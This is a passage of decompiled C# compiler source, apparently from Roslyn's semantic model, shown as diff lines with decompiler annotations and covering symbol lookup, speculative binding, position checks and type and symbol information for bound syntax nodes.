obj.ImplicitConversion; + } + + public TypeInfo GetSpeculativeTypeInfo(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return GetSpeculativeTypeInfoWorker(position, expression, bindingOption); + } + + internal CSharpTypeInfo GetSpeculativeTypeInfoWorker(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (!CanGetSemanticInfo(expression, allowNamedArgumentName: false, isSpeculative: true)) + { + return CSharpTypeInfo.None; + } + Binder binder; + ImmutableArray crefSymbols; + BoundNode speculativelyBoundExpression = GetSpeculativelyBoundExpression(position, expression, bindingOption, out binder, out crefSymbols); + if (speculativelyBoundExpression == null) + { + if (crefSymbols.IsDefault || crefSymbols.Length != 1) + { + return CSharpTypeInfo.None; + } + return GetTypeInfoForSymbol(crefSymbols[0]); + } + return GetTypeInfoForNode(speculativelyBoundExpression, speculativelyBoundExpression, null); + } + + public Conversion GetSpeculativeConversion(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return GetSpeculativeTypeInfoWorker(position, expression, bindingOption).ImplicitConversion; + } + + public ImmutableArray GetMemberGroup(ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(expression); + if (!CanGetSemanticInfo(expression)) + { + return ImmutableArray.Empty; + } + return GetMemberGroupWorker(expression, SymbolInfoOptions.DefaultOptions, cancellationToken).GetPublicSymbols(); + } + + public ImmutableArray GetMemberGroup(AttributeSyntax attribute, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(attribute); + if (!CanGetSemanticInfo(attribute)) + { + return ImmutableArray.Empty; + } + return GetMemberGroupWorker(attribute, SymbolInfoOptions.DefaultOptions, cancellationToken).GetPublicSymbols(); + } + + public ImmutableArray GetMemberGroup(ConstructorInitializerSyntax initializer, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(initializer); + if (!CanGetSemanticInfo(initializer)) + { + return ImmutableArray.Empty; + } + return GetMemberGroupWorker(initializer, SymbolInfoOptions.DefaultOptions, cancellationToken).GetPublicSymbols(); + } + + public ImmutableArray GetIndexerGroup(ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(expression); + if (!CanGetSemanticInfo(expression)) + { + return ImmutableArray.Empty; + } + return GetIndexerGroupWorker(expression, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + + public Optional GetConstantValue(ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(expression); + if (!CanGetSemanticInfo(expression)) + { + return default(Optional); + } + return GetConstantValueWorker(expression, cancellationToken); + } + + public abstract QueryClauseInfo GetQueryClauseInfo(QueryClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)); + + public IAliasSymbol GetAliasInfo(IdentifierNameSyntax nameSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(nameSyntax); + if (!CanGetSemanticInfo(nameSyntax)) + { + return null; + } + SymbolInfo symbolInfoWorker = GetSymbolInfoWorker(nameSyntax, SymbolInfoOptions.PreferTypeToConstructors | SymbolInfoOptions.PreserveAliases, cancellationToken); + ISymbol symbol = ((SymbolInfo)(ref symbolInfoWorker)).Symbol; + return (IAliasSymbol)(object)((symbol is IAliasSymbol) ? symbol : null); + } + + public IAliasSymbol GetSpeculativeAliasInfo(int position, IdentifierNameSyntax nameSyntax, SpeculativeBindingOption bindingOption) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + Binder binder; + ImmutableArray crefSymbols; + BoundNode speculativelyBoundExpression = GetSpeculativelyBoundExpression(position, nameSyntax, bindingOption, out binder, out crefSymbols); + if (speculativelyBoundExpression == null) + { + if (crefSymbols.IsDefault || crefSymbols.Length != 1) + { + return null; + } + return (crefSymbols[0] as Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol).GetPublicSymbol(); + } + SymbolInfo symbolInfoForNode = GetSymbolInfoForNode(SymbolInfoOptions.PreferTypeToConstructors | SymbolInfoOptions.PreserveAliases, speculativelyBoundExpression, speculativelyBoundExpression, null, binder); + ISymbol symbol = ((SymbolInfo)(ref symbolInfoForNode)).Symbol; + return (IAliasSymbol)(object)((symbol is IAliasSymbol) ? symbol : null); + } + + internal Binder GetEnclosingBinder(int position) + { + return GetEnclosingBinderInternal(position); + } + + internal abstract Binder GetEnclosingBinderInternal(int position); + + internal abstract MemberSemanticModel GetMemberModel(SyntaxNode node); + + internal bool IsInTree(SyntaxNode node) + { + return node.SyntaxTree == SyntaxTree; + } + + private static bool IsInStructuredTriviaOtherThanCrefOrNameAttribute(CSharpSyntaxNode node) + { + while (node != null) + { + if (node.Kind() == SyntaxKind.XmlCrefAttribute || node.Kind() == SyntaxKind.XmlNameAttribute) + { + return false; + } + if (((SyntaxNode)node).IsStructuredTrivia) + { + return true; + } + node = node.ParentOrStructuredTriviaParent; + } + return false; + } + + protected int CheckAndAdjustPosition(int position) + { + SyntaxToken token; + return CheckAndAdjustPosition(position, out token); + } + + protected int CheckAndAdjustPosition(int position, out SyntaxToken token) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + int position2 = ((SyntaxNode)Root).Position; + TextSpan fullSpan = ((SyntaxNode)Root).FullSpan; + int end = ((TextSpan)(ref fullSpan)).End; + int num; + if (position == end) + { + fullSpan = SyntaxTree.GetRoot(default(CancellationToken)).FullSpan; + num = ((position == ((TextSpan)(ref fullSpan)).End) ? 1 : 0); + } + else + { + num = 0; + } + bool flag = (byte)num != 0; + if ((position2 <= position && position < end) || flag) + { + token = (flag ? ((CSharpSyntaxNode)(object)SyntaxTree.GetRoot(default(CancellationToken))) : Root).FindTokenIncludingCrefAndNameAttributes(position); + if (position < ((SyntaxToken)(ref token)).SpanStart) + { + token = ((SyntaxToken)(ref token)).GetPreviousToken(false, false, false, false); + } + return Math.Max(((SyntaxToken)(ref token)).SpanStart, position2); + } + if (position2 == end && position == end) + { + token = default(SyntaxToken); + return position2; + } + throw new ArgumentOutOfRangeException("position", position, string.Format(CSharpResources.PositionIsNotWithinSyntax, ((SyntaxNode)Root).FullSpan)); + } + + protected int GetAdjustedNodePosition(SyntaxNode node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan = ((SyntaxNode)Root).FullSpan; + int num = node.SpanStart; + SyntaxToken firstToken = node.GetFirstToken(false, false, false, false); + if (((SyntaxToken)(ref firstToken)).Node != null) + { + int spanStart = ((SyntaxToken)(ref firstToken)).SpanStart; + TextSpan span = node.Span; + if (spanStart < ((TextSpan)(ref span)).End) + { + num = spanStart; + } + } + if (((TextSpan)(ref fullSpan)).IsEmpty) + { + return num; + } + if (num == ((TextSpan)(ref fullSpan)).End) + { + return CheckAndAdjustPosition(num - 1); + } + if (node.IsMissing || node.HasErrors || node.Width == 0 || node.IsPartOfStructuredTrivia()) + { + return CheckAndAdjustPosition(num); + } + return num; + } + + [Conditional("DEBUG")] + protected void AssertPositionAdjusted(int position) + { + } + + protected void CheckSyntaxNode(CSharpSyntaxNode syntax) + { + if (syntax == null) + { + throw new ArgumentNullException("syntax"); + } + if (!IsInTree((SyntaxNode)(object)syntax)) + { + throw new ArgumentException(CSharpResources.SyntaxNodeIsNotWithinSynt); + } + } + + private void CheckModelAndSyntaxNodeToSpeculate(CSharpSyntaxNode syntax) + { + if (syntax == null) + { + throw new ArgumentNullException("syntax"); + } + if (((SemanticModel)this).IsSpeculativeSemanticModel) + { + throw new InvalidOperationException(CSharpResources.ChainingSpeculativeModelIsNotSupported); + } + if (Compilation.ContainsSyntaxTree(syntax.SyntaxTree)) + { + throw new ArgumentException(CSharpResources.SpeculatedSyntaxNodeCannotBelongToCurrentCompilation); + } + } + + public ImmutableArray LookupSymbols(int position, Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol container = null, string name = null, bool includeReducedExtensionMethods = false) + { + LookupOptions options = (includeReducedExtensionMethods ? LookupOptions.IncludeExtensionMethods : LookupOptions.Default); + return LookupSymbolsInternal(position, container, name, options, useBaseReferenceAccessibility: false); + } + + public ImmutableArray LookupBaseMembers(int position, string name = null) + { + return LookupSymbolsInternal(position, null, name, LookupOptions.Default, useBaseReferenceAccessibility: true); + } + + public ImmutableArray LookupStaticMembers(int position, Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol container = null, string name = null) + { + return LookupSymbolsInternal(position, container, name, LookupOptions.MustNotBeInstance, useBaseReferenceAccessibility: false); + } + + public ImmutableArray LookupNamespacesAndTypes(int position, Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol container = null, string name = null) + { + return LookupSymbolsInternal(position, container, name, LookupOptions.NamespacesOrTypesOnly, useBaseReferenceAccessibility: false); + } + + public ImmutableArray LookupLabels(int position, string name = null) + { + return LookupSymbolsInternal(position, null, name, LookupOptions.LabelsOnly, useBaseReferenceAccessibility: false); + } + + private ImmutableArray LookupSymbolsInternal(int position, Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol container, string name, LookupOptions options, bool useBaseReferenceAccessibility) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_0195: Unknown result type (might be due to invalid IL or missing references) + //IL_019a: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_01c7: Unknown result type (might be due to invalid IL or missing references) + if (useBaseReferenceAccessibility) + { + options |= LookupOptions.UseBaseReferenceAccessibility; + } + options.ThrowIfInvalid(); + position = CheckAndAdjustPosition(position, out var token); + if ((object)container == null || (int)container.Kind == 12) + { + options &= ~LookupOptions.IncludeExtensionMethods; + } + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder == null) + { + return ImmutableArray.Empty; + } + if (useBaseReferenceAccessibility) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol containingType = enclosingBinder.ContainingType; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol = null; + if ((object)containingType != null && (int)containingType.Kind == 11 && ((Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)containingType).IsScriptClass) + { + return ImmutableArray.Empty; + } + if ((object)containingType == null || (object)(typeSymbol = containingType.BaseTypeNoUseSiteDiagnostics) == null) + { + throw new ArgumentException("Not a valid position for a call to LookupBaseMembers (must be in a type with a base type)", "position"); + } + container = typeSymbol; + } + if (!enclosingBinder.IsInMethodBody && (options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly | LookupOptions.LabelsOnly)) == 0 && ((SyntaxToken)(ref token)).Parent is ExpressionSyntax expressionSyntax && !(expressionSyntax.Parent is XmlNameAttributeSyntax) && !SyntaxFacts.IsInTypeOnlyContext(expressionSyntax) && !enclosingBinder.IsInsideNameof) + { + options |= LookupOptions.MustNotBeMethodTypeParameter; + } + LookupSymbolsInfo instance = LookupSymbolsInfo.GetInstance(); + ((AbstractLookupSymbolsInfo)instance).FilterName = name; + if ((object)container == null) + { + enclosingBinder.AddLookupSymbolsInfo(instance, options); + } + else + { + enclosingBinder.AddMemberLookupSymbolsInfo(instance, container, options, enclosingBinder); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(((AbstractLookupSymbolsInfo)instance).Count); + if (name == null) + { + foreach (string name2 in ((AbstractLookupSymbolsInfo)instance).Names) + { + AppendSymbolsWithName(instance2, name2, enclosingBinder, container, options, instance); + } + } + else + { + AppendSymbolsWithName(instance2, name, enclosingBinder, container, options, instance); + } + instance.Free(); + if ((options & LookupOptions.IncludeExtensionMethods) != LookupOptions.Default) + { + LookupResult instance3 = LookupResult.GetInstance(); + options |= LookupOptions.AllMethodsOnArityZero; + options &= ~LookupOptions.MustBeInstance; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + enclosingBinder.LookupExtensionMethods(instance3, name, 0, options, ref useSiteInfo); + if (instance3.IsMultiViable) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol receiverType = (Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol)container; + Enumerator enumerator2 = instance3.Symbols.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = ((Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)enumerator2.Current).ReduceExtensionMethod(receiverType, Compilation); + if ((object)methodSymbol != null) + { + instance2.Add((ISymbol)(object)methodSymbol.GetPublicSymbol()); + } + } + } + instance3.Free(); + } + ImmutableArray immutableArray = instance2.ToImmutableAndFree(); + if (name != null) + { + return immutableArray; + } + return FilterNotReferencable(immutableArray); + } + + private void AppendSymbolsWithName(ArrayBuilder results, string name, Binder binder, Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol container, LookupOptions options, LookupSymbolsInfo info) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + IArityEnumerable val = default(IArityEnumerable); + Symbol symbol = default(Symbol); + if (!((AbstractLookupSymbolsInfo)info).TryGetAritiesAndUniqueSymbol(name, ref val, ref symbol)) + { + return; + } + if ((object)symbol != null) + { + results.Add(RemapSymbolIfNecessary(symbol).GetPublicSymbol()); + return; + } + if (val != null) + { + ArityEnumerator enumerator = val.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + int current = enumerator.Current; + AppendSymbolsWithNameAndArity(results, name, current, binder, container, options); + } + return; + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + } + AppendSymbolsWithNameAndArity(results, name, 0, binder, container, options); + } + + private void AppendSymbolsWithNameAndArity(ArrayBuilder results, string name, int arity, Binder binder, Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol container, LookupOptions options) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + binder.LookupSymbolsSimpleName(instance, container, name, arity, null, options & ~LookupOptions.IncludeExtensionMethods, diagnose: false, ref useSiteInfo); + if (instance.IsMultiViable) + { + if (ArrayBuilderExtensions.Any(instance.Symbols, (Func)((Symbol t) => (int)t.Kind == 11 || (int)t.Kind == 12 || (int)t.Kind == 4))) + { + bool wasError; + Symbol symbol = binder.ResultSymbol(instance, name, arity, (SyntaxNode)(object)Root, BindingDiagnosticBag.Discarded, suppressUseSiteDiagnostics: true, out wasError, container, options); + if (!wasError) + { + results.Add(RemapSymbolIfNecessary(symbol).GetPublicSymbol()); + } + else + { + Enumerator enumerator = instance.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + results.Add(RemapSymbolIfNecessary(current).GetPublicSymbol()); + } + } + } + else + { + Enumerator enumerator = instance.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + results.Add(RemapSymbolIfNecessary(current2).GetPublicSymbol()); + } + } + } + instance.Free(); + } + + private Symbol RemapSymbolIfNecessary(Symbol symbol) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (symbol is Microsoft.CodeAnalysis.CSharp.Symbols.LocalSymbol || symbol is Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol || (symbol is Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 0)) + { + return RemapSymbolIfNecessaryCore(symbol); + } + return symbol; + } + + internal abstract Symbol RemapSymbolIfNecessaryCore(Symbol symbol); + + private static ImmutableArray FilterNotReferencable(ImmutableArray sealedResults) + { + ArrayBuilder val = null; + int num = 0; + ImmutableArray.Enumerator enumerator = sealedResults.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.CanBeReferencedByName) + { + val?.Add(current); + } + else if (val == null) + { + val = ArrayBuilder.GetInstance(); + val.AddRange(sealedResults, num); + } + num++; + } + return val?.ToImmutableAndFree() ?? sealedResults; + } + + public bool IsAccessible(int position, Symbol symbol) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + position = CheckAndAdjustPosition(position); + if ((object)symbol == null) + { + throw new ArgumentNullException("symbol"); + } + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder != null) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return enclosingBinder.IsAccessible(symbol, ref useSiteInfo); + } + return false; + } + + public bool IsEventUsableAsField(int position, Microsoft.CodeAnalysis.CSharp.Symbols.EventSymbol symbol) + { + if ((object)symbol != null && symbol.HasAssociatedField) + { + return IsAccessible(position, symbol.AssociatedField); + } + return false; + } + + private bool IsInTypeofExpression(int position) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = Root.FindToken(position); + SyntaxNode val2 = ((SyntaxToken)(ref val)).Parent; + while ((object)val2 != Root) + { + if (val2.IsKind(SyntaxKind.TypeOfExpression)) + { + return true; + } + val2 = val2.ParentOrStructuredTriviaParent; + } + return false; + } + + internal SymbolInfo GetSymbolInfoForNode(SymbolInfoOptions options, BoundNode lowestBoundNode, BoundNode highestBoundNode, BoundNode boundNodeForSyntacticParent, Binder binderOpt) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + //IL_0196: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + if (highestBoundNode is BoundRecursivePattern pat) + { + return GetSymbolInfoForDeconstruction(pat); + } + if (!(lowestBoundNode is BoundPositionalSubpattern boundPositionalSubpattern)) + { + if (!(lowestBoundNode is BoundPropertySubpattern boundPropertySubpattern)) + { + if (!(lowestBoundNode is BoundPropertySubpatternMember boundPropertySubpatternMember)) + { + if (lowestBoundNode is BoundExpression boundExpression) + { + BoundExpression boundNode = boundExpression; + OneOrMany val = GetSemanticSymbols(boundNode, boundNodeForSyntacticParent, binderOpt, options, out var isDynamic, out var resultKind, out var _); + if (highestBoundNode is BoundExpression boundExpression2) + { + bool isDynamic2; + LookupResultKind resultKind2; + ImmutableArray memberGroup2; + OneOrMany semanticSymbols = GetSemanticSymbols(boundExpression2, boundNodeForSyntacticParent, binderOpt, options, out isDynamic2, out resultKind2, out memberGroup2); + if ((val.Count != 1 || resultKind == LookupResultKind.OverloadResolutionFailure) && semanticSymbols.Count > 0) + { + val = semanticSymbols; + resultKind = resultKind2; + isDynamic = isDynamic2; + } + else if (resultKind2 != LookupResultKind.Empty && (int)resultKind2 < (int)resultKind) + { + resultKind = resultKind2; + isDynamic = isDynamic2; + } + else if (boundExpression2.Kind == BoundKind.TypeOrValueExpression) + { + val = semanticSymbols; + resultKind = resultKind2; + isDynamic = isDynamic2; + } + else if (boundExpression2.Kind == BoundKind.UnaryOperator && IsUserDefinedTrueOrFalse((BoundUnaryOperator)boundExpression2)) + { + val = semanticSymbols; + resultKind = resultKind2; + isDynamic = isDynamic2; + } + } + if (resultKind == LookupResultKind.Empty) + { + return SymbolInfoFactory.Create(ImmutableArray.Empty, LookupResultKind.Empty, isDynamic); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(val.Count); + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + AddUnwrappingErrorTypes(instance, current); + } + val = ArrayBuilderExtensions.ToOneOrManyAndFree(instance); + if ((options & SymbolInfoOptions.ResolveAliases) != 0) + { + val = UnwrapAliases(val); + } + if (resultKind == LookupResultKind.Viable && val.Count > 1) + { + resultKind = LookupResultKind.OverloadResolutionFailure; + } + return SymbolInfoFactory.Create(val, resultKind, isDynamic); + } + return SymbolInfo.None; + } + return GetSymbolInfoForSubpattern(boundPropertySubpatternMember.Symbol); + } + return GetSymbolInfoForSubpattern(boundPropertySubpattern.Member?.Symbol); + } + return GetSymbolInfoForSubpattern(boundPositionalSubpattern.Symbol); + } + + private static SymbolInfo GetSymbolInfoForSubpattern(Symbol subpatternSymbol) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + if (subpatternSymbol?.OriginalDefinition is Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol errorTypeSymbol) + { + return new SymbolInfo(errorTypeSymbol.CandidateSymbols.GetPublicSymbols(), errorTypeSymbol.ResultKind.ToCandidateReason()); + } + return new SymbolInfo(subpatternSymbol.GetPublicSymbol()); + } + + private SymbolInfo GetSymbolInfoForDeconstruction(BoundRecursivePattern pat) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return new SymbolInfo((ISymbol)(object)pat.DeconstructMethod.GetPublicSymbol()); + } + + private static void AddUnwrappingErrorTypes(ArrayBuilder builder, Symbol s) + { + if (s.OriginalDefinition is Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol errorTypeSymbol) + { + builder.AddRange(errorTypeSymbol.CandidateSymbols); + } + else + { + builder.Add(s); + } + } + + private static bool IsUserDefinedTrueOrFalse(BoundUnaryOperator @operator) + { + UnaryOperatorKind operatorKind = @operator.OperatorKind; + if (operatorKind != UnaryOperatorKind.UserDefinedTrue) + { + return operatorKind == UnaryOperatorKind.UserDefinedFalse; + } + return true; + } + + internal CSharpTypeInfo GetTypeInfoForNode(BoundNode lowestBoundNode, BoundNode highestBoundNode, BoundNode boundNodeForSyntacticParent) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_01b1: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_069a: Unknown result type (might be due to invalid IL or missing references) + //IL_069c: Unknown result type (might be due to invalid IL or missing references) + //IL_028f: Unknown result type (might be due to invalid IL or missing references) + //IL_0294: Unknown result type (might be due to invalid IL or missing references) + //IL_02aa: Unknown result type (might be due to invalid IL or missing references) + //IL_02af: Unknown result type (might be due to invalid IL or missing references) + //IL_0246: Unknown result type (might be due to invalid IL or missing references) + //IL_024b: Unknown result type (might be due to invalid IL or missing references) + //IL_0229: Unknown result type (might be due to invalid IL or missing references) + //IL_022e: Unknown result type (might be due to invalid IL or missing references) + //IL_025c: Unknown result type (might be due to invalid IL or missing references) + //IL_0261: Unknown result type (might be due to invalid IL or missing references) + //IL_0340: Unknown result type (might be due to invalid IL or missing references) + //IL_0342: Unknown result type (might be due to invalid IL or missing references) + //IL_03b1: Unknown result type (might be due to invalid IL or missing references) + //IL_03b3: Unknown result type (might be due to invalid IL or missing references) + //IL_0315: Unknown result type (might be due to invalid IL or missing references) + //IL_031a: Unknown result type (might be due to invalid IL or missing references) + //IL_0391: Unknown result type (might be due to invalid IL or missing references) + //IL_0393: Unknown result type (might be due to invalid IL or missing references) + //IL_068b: Unknown result type (might be due to invalid IL or missing references) + //IL_068d: Unknown result type (might be due to invalid IL or missing references) + //IL_0592: Unknown result type (might be due to invalid IL or missing references) + //IL_0597: Unknown result type (might be due to invalid IL or missing references) + //IL_04cc: Unknown result type (might be due to invalid IL or missing references) + //IL_04d1: Unknown result type (might be due to invalid IL or missing references) + //IL_0416: Unknown result type (might be due to invalid IL or missing references) + //IL_041b: Unknown result type (might be due to invalid IL or missing references) + //IL_048f: Unknown result type (might be due to invalid IL or missing references) + //IL_0491: Unknown result type (might be due to invalid IL or missing references) + //IL_065c: Unknown result type (might be due to invalid IL or missing references) + //IL_0663: Invalid comparison between Unknown and I4 + //IL_0528: Unknown result type (might be due to invalid IL or missing references) + //IL_052d: Unknown result type (might be due to invalid IL or missing references) + //IL_053b: Unknown result type (might be due to invalid IL or missing references) + //IL_0540: Unknown result type (might be due to invalid IL or missing references) + //IL_0671: Unknown result type (might be due to invalid IL or missing references) + //IL_0673: Unknown result type (might be due to invalid IL or missing references) + //IL_0516: Unknown result type (might be due to invalid IL or missing references) + //IL_047a: Unknown result type (might be due to invalid IL or missing references) + //IL_047f: Unknown result type (might be due to invalid IL or missing references) + BoundPattern boundPattern = (lowestBoundNode as BoundPattern) ?? (highestBoundNode as BoundPattern) ?? ((highestBoundNode is BoundSubpattern boundSubpattern) ? boundSubpattern.Pattern : null); + if (boundPattern != null) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return new CSharpTypeInfo(boundPattern.InputType, boundPattern.NarrowedType, default(NullabilityInfo), default(NullabilityInfo), Compilation.Conversions.ClassifyBuiltInConversion(boundPattern.InputType, boundPattern.NarrowedType, isChecked: false, ref useSiteInfo)); + } + if (lowestBoundNode is BoundPropertySubpatternMember boundPropertySubpatternMember) + { + return new CSharpTypeInfo(boundPropertySubpatternMember.Type, boundPropertySubpatternMember.Type, default(NullabilityInfo), default(NullabilityInfo), Conversion.Identity); + } + BoundExpression boundExpression = lowestBoundNode as BoundExpression; + BoundExpression boundExpression2 = highestBoundNode as BoundExpression; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol; + NullabilityInfo val; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol2; + NullabilityInfo convertedNullability = default(NullabilityInfo); + Conversion implicitConversion; + if (boundExpression != null && (boundNodeForSyntacticParent == null || boundNodeForSyntacticParent.Syntax.Kind() != SyntaxKind.ObjectCreationExpression || (object)((ObjectCreationExpressionSyntax)(object)boundNodeForSyntacticParent.Syntax).Type != boundExpression.Syntax)) + { + typeSymbol = null; + val = boundExpression.TopLevelNullability; + if (boundExpression.HasExpressionType()) + { + typeSymbol = boundExpression.Type; + if (!(boundExpression is BoundLocal boundLocal)) + { + if (boundExpression is BoundConvertedTupleLiteral boundConvertedTupleLiteral) + { + BoundTupleLiteral sourceTuple = boundConvertedTupleLiteral.SourceTuple; + if (sourceTuple != null) + { + 